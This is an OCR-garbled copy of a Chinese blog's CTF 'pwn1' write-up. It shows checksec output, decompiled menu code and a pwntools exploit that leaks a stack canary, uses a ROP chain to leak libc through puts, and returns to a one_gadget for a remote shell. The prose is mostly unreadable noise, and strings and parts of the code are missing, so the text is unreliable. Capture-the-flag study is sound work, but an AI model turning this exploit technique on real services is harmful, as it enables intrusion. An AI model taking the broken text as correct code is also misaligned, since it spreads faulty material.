B pis it - -pwn1-Writeup

SkYe231 F 2020-05-13 23:13:48 K i 206 Wi
AHRER: PWN CERE: BBt 5t writeup pwn

FRBUE B RSO EJRAISCE, MAE CC 4.0 BY-SA RN, HEIFH LRICH AsEEMAF Y.

AHEE: https://blog.csdn.net/weixin_43921239/article/details/106029710
AL

IEJ‘PWN oy S % P 2

42 R E 3T
TSR

pwn1

%M. REE, canarygiid
AL

FEFF SL BT R RAEAR b 5 40 .
TRy 14

amd64-64-1little
Full RELRO
Canary found
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No PIE (0x400000)

menu();
v3 my_input();
switch ( v3 )
{
case 2:
puts(&s);
break;
case 3:
return OLL;
case 1:
read(@, &s, ©x100ulLL);

break;

A ) 2 ) 3 A LR
1'?1;3\ E%

S AR i 7B 55 canary |5 —F 1, HUH canary , BIh%eid canary fR¥.


https://blog.csdn.net/weixin_43921239
https://blog.csdn.net/weixin_43921239/category_9165797.html
https://so.csdn.net/so/search/s.do?q=%25E6%2594%25BB%25E9%2598%25B2%25E4%25B8%2596%25E7%2595%258C&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=writeup&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_43921239/article/details/106029710
https://blog.csdn.net/weixin_43921239/category_9165797.html

p.recvuntil( 0x89)

canary u64 ( p.recv(7))

log.success( (canary))

BHBEEWERET, R4t libc, FrLAHEE libc ] onegadget getshell . t5E libc FEAE B R4, BN E#H) rip B

W libc & 75 Z rop [B1 2] main 3447 F —5#1E.

ox88 p64(canary) p64 (0xdeadbeet)
p64(pop_rdi) p64(puts_got) p64(puts plt)
p64(start_addr)

puts_leak=u64(p.recv(6).1ljust(8, )D)
log.success( (puts_leak))

ox88 p64(canary) p64(0xdeadbeef)

p64(onegadget)




from pwn import

context.log level

p remote( ,51939)
elf = ELF(
libc = ELF(

def add(context):
p.recvuntil(
p.sendline( )

p.send(context)

show():
p.recvuntil(

p.sendline(

leave():
p.recvuntil(
p.sendline(

0x89)

p.recv(7))
(canary))

elf.plt[

elf.got|[ ]

0x0000000000400a93
0x400720

0x88 p64(canary) p64(0xdeadbeef)

p64(pop_rdi) p64(puts_got) p64(puts_plt)
p64(start_addr)

puts_leak=u64(p.recv(6).ljust(8, D)
log.success( (puts_leak))

libc_base puts_leak libc.symbols|

log.success( (libc_base))
onegadget libc_base 0x45216
(onegadget))

0x88 + p64(canary) p64(0xdeadbeef)
p64(onegadget)

p.interactive()
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